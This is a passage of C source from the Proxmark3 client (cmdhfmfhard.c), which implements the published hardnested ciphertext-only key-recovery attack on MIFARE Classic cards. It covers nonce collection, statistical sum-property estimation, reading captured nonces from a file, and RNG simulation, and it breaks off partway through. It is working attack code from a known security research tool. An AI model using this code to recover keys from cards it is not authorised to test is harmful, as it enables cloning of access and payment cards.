]> git.zerfleddert.de Git - proxmark3-svn/blob - client/cmdhfmfhard.c
projects / proxmark3-svn / blob
? search:
summary | shortlog | log | commit | commitdiff | tree
blame | history | raw | HEAD
ADD: added a comment about Q5 settings. needs to be verified
[proxmark3-svn] / client / cmdhfmfhard.c
1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
6 // the license.
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
16
17 #include <stdlib.h>
18 #include <stdio.h>
19 #include <string.h>
20 #include <pthread.h>
21 #include <locale.h>
22 #include <math.h>
23 #include "proxmark3.h"
24 #include "cmdmain.h"
25 #include "ui.h"
26 #include "util.h"
27 #include "nonce2key/crapto1.h"
28 #include "nonce2key/crypto1_bs.h"
29 #include "parity.h"
30 #ifdef __WIN32
31 #include <windows.h>
32 #endif
33 #include <malloc.h>
34 #include <assert.h>
35
36 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
37 #define GOOD_BYTES_REQUIRED 28
38
39 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K
40 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
41 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
42 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
43 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
62 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
63 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
64 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
65 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
66 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
67 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
68 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
69 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
70 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
71 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
72 0.0290 };
73
74 typedef struct noncelistentry {
75 uint32_t nonce_enc;
76 uint8_t par_enc;
77 void *next;
78 } noncelistentry_t;
79
80 typedef struct noncelist {
81 uint16_t num;
82 uint16_t Sum;
83 uint16_t Sum8_guess;
84 uint8_t BitFlip[2];
85 float Sum8_prob;
86 bool updated;
87 noncelistentry_t *first;
88 float score1, score2;
89 } noncelist_t;
90
91 static size_t nonces_to_bruteforce = 0;
92 static noncelistentry_t *brute_force_nonces[256];
93 static uint32_t cuid = 0;
94 static noncelist_t nonces[256];
95 static uint8_t best_first_bytes[256];
96 static uint16_t first_byte_Sum = 0;
97 static uint16_t first_byte_num = 0;
98 static uint16_t num_good_first_bytes = 0;
99 static uint64_t maximum_states = 0;
100 static uint64_t known_target_key;
101 static bool write_stats = false;
102 static FILE *fstats = NULL;
103
104
105 typedef enum {
106 EVEN_STATE = 0,
107 ODD_STATE = 1
108 } odd_even_t;
109
110 #define STATELIST_INDEX_WIDTH 16
111 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
112
113 typedef struct {
114 uint32_t *states[2];
115 uint32_t len[2];
116 uint32_t *index[2][STATELIST_INDEX_SIZE];
117 } partial_indexed_statelist_t;
118
119 typedef struct {
120 uint32_t *states[2];
121 uint32_t len[2];
122 void* next;
123 } statelist_t;
124
125
126 static partial_indexed_statelist_t partial_statelist[17];
127 static partial_indexed_statelist_t statelist_bitflip;
128 static statelist_t *candidates = NULL;
129
130 static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
131 {
132 uint8_t first_byte = nonce_enc >> 24;
133 noncelistentry_t *p1 = nonces[first_byte].first;
134 noncelistentry_t *p2 = NULL;
135
136 if (p1 == NULL) { // first nonce with this 1st byte
137 first_byte_num++;
138 first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
139 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
140 // nonce_enc,
141 // par_enc,
142 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
143 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
144 }
145
146 while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
147 p2 = p1;
148 p1 = p1->next;
149 }
150
151 if (p1 == NULL) { // need to add at the end of the list
152 if (p2 == NULL) { // list is empty yet. Add first entry.
153 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
154 } else { // add new entry at end of existing list.
155 p2 = p2->next = malloc(sizeof(noncelistentry_t));
156 }
157 } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
158 if (p2 == NULL) { // need to insert at start of list
159 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
160 } else {
161 p2 = p2->next = malloc(sizeof(noncelistentry_t));
162 }
163 } else { // we have seen this 2nd byte before. Nothing to add or insert.
164 return (0);
165 }
166
167 // add or insert new data
168 p2->next = p1;
169 p2->nonce_enc = nonce_enc;
170 p2->par_enc = par_enc;
171
172 if(nonces_to_bruteforce < 256){
173 brute_force_nonces[nonces_to_bruteforce] = p2;
174 nonces_to_bruteforce++;
175 }
176
177 nonces[first_byte].num++;
178 nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
179 nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
180
181 return (1); // new nonce added
182 }
183
184 static void init_nonce_memory(void)
185 {
186 for (uint16_t i = 0; i < 256; i++) {
187 nonces[i].num = 0;
188 nonces[i].Sum = 0;
189 nonces[i].Sum8_guess = 0;
190 nonces[i].Sum8_prob = 0.0;
191 nonces[i].updated = true;
192 nonces[i].first = NULL;
193 }
194 first_byte_num = 0;
195 first_byte_Sum = 0;
196 num_good_first_bytes = 0;
197 }
198
199
200 static void free_nonce_list(noncelistentry_t *p)
201 {
202 if (p == NULL) {
203 return;
204 } else {
205 free_nonce_list(p->next);
206 free(p);
207 }
208 }
209
210 static void free_nonces_memory(void)
211 {
212 for (uint16_t i = 0; i < 256; i++) {
213 free_nonce_list(nonces[i].first);
214 }
215 }
216
217 static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
218 {
219 uint16_t sum = 0;
220 for (uint16_t j = 0; j < 16; j++) {
221 uint32_t st = state;
222 uint16_t part_sum = 0;
223 if (odd_even == ODD_STATE) {
224 for (uint16_t i = 0; i < 5; i++) {
225 part_sum ^= filter(st);
226 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
227 }
228 part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits
229 } else {
230 for (uint16_t i = 0; i < 4; i++) {
231 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
232 part_sum ^= filter(st);
233 }
234 }
235 sum += part_sum;
236 }
237 return sum;
238 }
239
240 // static uint16_t SumProperty(struct Crypto1State *s)
241 // {
242 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
243 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
244 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
245 // }
246
247 static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k)
248 {
249 // for efficient computation we are using the recursive definition
250 // (K-k+1) * (n-k+1)
251 // P(X=k) = P(X=k-1) * --------------------
252 // k * (N-K-n+k)
253 // and
254 // (N-K)*(N-K-1)*...*(N-K-n+1)
255 // P(X=0) = -----------------------------
256 // N*(N-1)*...*(N-n+1)
257
258 if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below
259 if (k == 0) {
260 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
261 double log_result = 0.0;
262 for (int16_t i = N-K; i >= N-K-n+1; i--) {
263 log_result += log(i);
264 }
265 for (int16_t i = N; i >= N-n+1; i--) {
266 log_result -= log(i);
267 }
268 return exp(log_result);
269 } else {
270 if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception
271 double log_result = 0.0;
272 for (int16_t i = k+1; i <= n; i++) {
273 log_result += log(i);
274 }
275 for (int16_t i = K+1; i <= N; i++) {
276 log_result -= log(i);
277 }
278 return exp(log_result);
279 } else { // recursion
280 return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
281 }
282 }
283 }
284
285 static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
286 {
287 const uint16_t N = 256;
288
289 if (k > K || p_K[K] == 0.0) return 0.0;
290
291 double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
292 double p_S_is_K = p_K[K];
293 double p_T_is_k = 0;
294 for (uint16_t i = 0; i <= 256; i++) {
295 if (p_K[i] != 0.0) {
296 p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k);
297 }
298 }
299 return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
300 }
301
302
303 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff)
304 {
305 static const uint_fast8_t common_bits_LUT[256] = {
306 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
307 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
308 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
309 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
310 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
311 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
312 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
313 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
314 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
315 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
316 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
317 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
318 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
319 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
320 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
321 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
322 };
323
324 return common_bits_LUT[bytes_diff];
325 }
326
327 static void Tests()
328 {
329 // printf("Tests: Partial Statelist sizes\n");
330 // for (uint16_t i = 0; i <= 16; i+=2) {
331 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
332 // }
333 // for (uint16_t i = 0; i <= 16; i+=2) {
334 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
335 // }
336
337 // #define NUM_STATISTICS 100000
338 // uint32_t statistics_odd[17];
339 // uint64_t statistics[257];
340 // uint32_t statistics_even[17];
341 // struct Crypto1State cs;
342 // time_t time1 = clock();
343
344 // for (uint16_t i = 0; i < 257; i++) {
345 // statistics[i] = 0;
346 // }
347 // for (uint16_t i = 0; i < 17; i++) {
348 // statistics_odd[i] = 0;
349 // statistics_even[i] = 0;
350 // }
351
352 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
353 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
354 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
355 // uint16_t sum_property = SumProperty(&cs);
356 // statistics[sum_property] += 1;
357 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
358 // statistics_even[sum_property]++;
359 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
360 // statistics_odd[sum_property]++;
361 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
362 // }
363
364 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
365 // for (uint16_t i = 0; i < 257; i++) {
366 // if (statistics[i] != 0) {
367 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
368 // }
369 // }
370 // for (uint16_t i = 0; i <= 16; i++) {
371 // if (statistics_odd[i] != 0) {
372 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
373 // }
374 // }
375 // for (uint16_t i = 0; i <= 16; i++) {
376 // if (statistics_odd[i] != 0) {
377 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
378 // }
379 // }
380
381 // printf("Tests: Sum Probabilities based on Partial Sums\n");
382 // for (uint16_t i = 0; i < 257; i++) {
383 // statistics[i] = 0;
384 // }
385 // uint64_t num_states = 0;
386 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
387 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
388 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
389 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
390 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
391 // }
392 // }
393 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
394 // for (uint16_t i = 0; i < 257; i++) {
395 // if (statistics[i] != 0) {
396 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
397 // }
398 // }
399
400 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
401 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
402 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
403 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
404 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
405 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
406 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
407
408 // struct Crypto1State *pcs;
409 // pcs = crypto1_create(0xffffffffffff);
410 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
411 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
412 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
413 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
414 // best_first_bytes[0],
415 // SumProperty(pcs),
416 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
417 // //test_state_odd = pcs->odd & 0x00ffffff;
418 // //test_state_even = pcs->even & 0x00ffffff;
419 // crypto1_destroy(pcs);
420 // pcs = crypto1_create(0xa0a1a2a3a4a5);
421 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
422 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
423 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
424 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
425 // best_first_bytes[0],
426 // SumProperty(pcs),
427 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
428 // //test_state_odd = pcs->odd & 0x00ffffff;
429 // //test_state_even = pcs->even & 0x00ffffff;
430 // crypto1_destroy(pcs);
431 // pcs = crypto1_create(0xa6b9aa97b955);
432 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
433 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
434 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
435 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
436 // best_first_bytes[0],
437 // SumProperty(pcs),
438 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
439 //test_state_odd = pcs->odd & 0x00ffffff;
440 //test_state_even = pcs->even & 0x00ffffff;
441 // crypto1_destroy(pcs);
442
443
444 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
445
446 // printf("\nTests: Actual BitFlipProperties odd/even:\n");
447 // for (uint16_t i = 0; i < 256; i++) {
448 // printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
449 // if (i % 8 == 7) {
450 // printf("\n");
451 // }
452 // }
453
454 // printf("\nTests: Sorted First Bytes:\n");
455 // for (uint16_t i = 0; i < 256; i++) {
456 // uint8_t best_byte = best_first_bytes[i];
457 // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
458 // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
459 // i, best_byte,
460 // nonces[best_byte].num,
461 // nonces[best_byte].Sum,
462 // nonces[best_byte].Sum8_guess,
463 // nonces[best_byte].Sum8_prob * 100,
464 // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
465 // //nonces[best_byte].score1,
466 // //nonces[best_byte].score2
467 // );
468 // }
469
470 // printf("\nTests: parity performance\n");
471 // time_t time1p = clock();
472 // uint32_t par_sum = 0;
473 // for (uint32_t i = 0; i < 100000000; i++) {
474 // par_sum += parity(i);
475 // }
476 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
477
478 // time1p = clock();
479 // par_sum = 0;
480 // for (uint32_t i = 0; i < 100000000; i++) {
481 // par_sum += evenparity32(i);
482 // }
483 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
484
485
486 }
487
488 static void sort_best_first_bytes(void)
489 {
490 // sort based on probability for correct guess
491 for (uint16_t i = 0; i < 256; i++ ) {
492 uint16_t j = 0;
493 float prob1 = nonces[i].Sum8_prob;
494 float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
495 while (prob1 < prob2 && j < i) {
496 prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
497 }
498 if (j < i) {
499 for (uint16_t k = i; k > j; k--) {
500 best_first_bytes[k] = best_first_bytes[k-1];
501 }
502 }
503 best_first_bytes[j] = i;
504 }
505
506 // determine how many are above the CONFIDENCE_THRESHOLD
507 uint16_t num_good_nonces = 0;
508 for (uint16_t i = 0; i < 256; i++) {
509 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
510 ++num_good_nonces;
511 }
512 }
513
514 uint16_t best_first_byte = 0;
515
516 // select the best possible first byte based on number of common bits with all {b'}
517 // uint16_t max_common_bits = 0;
518 // for (uint16_t i = 0; i < num_good_nonces; i++) {
519 // uint16_t sum_common_bits = 0;
520 // for (uint16_t j = 0; j < num_good_nonces; j++) {
521 // if (i != j) {
522 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
523 // }
524 // }
525 // if (sum_common_bits > max_common_bits) {
526 // max_common_bits = sum_common_bits;
527 // best_first_byte = i;
528 // }
529 // }
530
531 // select best possible first byte {b} based on least likely sum/bitflip property
532 float min_p_K = 1.0;
533 for (uint16_t i = 0; i < num_good_nonces; i++ ) {
534 uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
535 float bitflip_prob = 1.0;
536 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
537 bitflip_prob = 0.09375;
538 }
539 nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
540 if (p_K[sum8] * bitflip_prob <= min_p_K) {
541 min_p_K = p_K[sum8] * bitflip_prob;
542 }
543 }
544
545
546 // use number of commmon bits as a tie breaker
547 uint16_t max_common_bits = 0;
548 for (uint16_t i = 0; i < num_good_nonces; i++) {
549 float bitflip_prob = 1.0;
550 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
551 bitflip_prob = 0.09375;
552 }
553 if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
554 uint16_t sum_common_bits = 0;
555 for (uint16_t j = 0; j < num_good_nonces; j++) {
556 sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
557 }
558 nonces[best_first_bytes[i]].score2 = sum_common_bits;
559 if (sum_common_bits > max_common_bits) {
560 max_common_bits = sum_common_bits;
561 best_first_byte = i;
562 }
563 }
564 }
565
566 // swap best possible first byte to the pole position
567 uint16_t temp = best_first_bytes[0];
568 best_first_bytes[0] = best_first_bytes[best_first_byte];
569 best_first_bytes[best_first_byte] = temp;
570
571 }
572
573 static uint16_t estimate_second_byte_sum(void)
574 {
575
576 for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
577 float Sum8_prob = 0.0;
578 uint16_t Sum8 = 0;
579 if (nonces[first_byte].updated) {
580 for (uint16_t sum = 0; sum <= 256; sum++) {
581 float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
582 if (prob > Sum8_prob) {
583 Sum8_prob = prob;
584 Sum8 = sum;
585 }
586 }
587 nonces[first_byte].Sum8_guess = Sum8;
588 nonces[first_byte].Sum8_prob = Sum8_prob;
589 nonces[first_byte].updated = false;
590 }
591 }
592
593 sort_best_first_bytes();
594
595 uint16_t num_good_nonces = 0;
596 for (uint16_t i = 0; i < 256; i++) {
597 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
598 ++num_good_nonces;
599 }
600 }
601
602 return num_good_nonces;
603 }
604
605 static int read_nonce_file(void)
606 {
607 FILE *fnonces = NULL;
608 uint8_t trgBlockNo;
609 uint8_t trgKeyType;
610 uint8_t read_buf[9];
611 uint32_t nt_enc1, nt_enc2;
612 uint8_t par_enc;
613 int total_num_nonces = 0;
614
615 if ((fnonces = fopen("nonces.bin","rb")) == NULL) {
616 PrintAndLog("Could not open file nonces.bin");
617 return 1;
618 }
619
620 PrintAndLog("Reading nonces from file nonces.bin...");
621 size_t bytes_read = fread(read_buf, 1, 6, fnonces);
622 if ( bytes_read == 0) {
623 PrintAndLog("File reading error.");
624 fclose(fnonces);
625 return 1;
626 }
627 cuid = bytes_to_num(read_buf, 4);
628 trgBlockNo = bytes_to_num(read_buf+4, 1);
629 trgKeyType = bytes_to_num(read_buf+5, 1);
630
631 while (fread(read_buf, 1, 9, fnonces) == 9) {
632 nt_enc1 = bytes_to_num(read_buf, 4);
633 nt_enc2 = bytes_to_num(read_buf+4, 4);
634 par_enc = bytes_to_num(read_buf+8, 1);
635 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
636 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
637 add_nonce(nt_enc1, par_enc >> 4);
638 add_nonce(nt_enc2, par_enc & 0x0f);
639 total_num_nonces += 2;
640 }
641 fclose(fnonces);
642 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
643
644 return 0;
645 }
646
647 static void Check_for_FilterFlipProperties(void)
648 {
649 printf("Checking for Filter Flip Properties...\n");
650
651 uint16_t num_bitflips = 0;
652
653 for (uint16_t i = 0; i < 256; i++) {
654 nonces[i].BitFlip[ODD_STATE] = false;
655 nonces[i].BitFlip[EVEN_STATE] = false;
656 }
657
658 for (uint16_t i = 0; i < 256; i++) {
659 uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte
660 uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped
661 uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped
662
663 if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits
664 nonces[i].BitFlip[ODD_STATE] = true;
665 num_bitflips++;
666 } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits
667 nonces[i].BitFlip[EVEN_STATE] = true;
668 num_bitflips++;
669 }
670 }
671
672 if (write_stats) {
673 fprintf(fstats, "%d;", num_bitflips);
674 }
675 }
676
677 static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
678 {
679 struct Crypto1State sim_cs = {0, 0};
680 // init cryptostate with key:
681 for(int8_t i = 47; i > 0; i -= 2) {
682 sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
683 sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
684 }
685
686 *par_enc = 0;
687 uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
688 for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
689 uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
690 uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
691 *nt_enc = (*nt_enc << 8) | nt_byte_enc;
692 uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
693 uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
694 *par_enc = (*par_enc << 1) | nt_byte_par_enc;
695 }
696
697 }
698
699 static void simulate_acquire_nonces()
700 {
701 clock_t time1 = clock();
702 bool filter_flip_checked = false;
703 uint32_t total_num_nonces = 0;
704 uint32_t next_fivehundred = 500;
705 uint32_t total_added_nonces = 0;
706
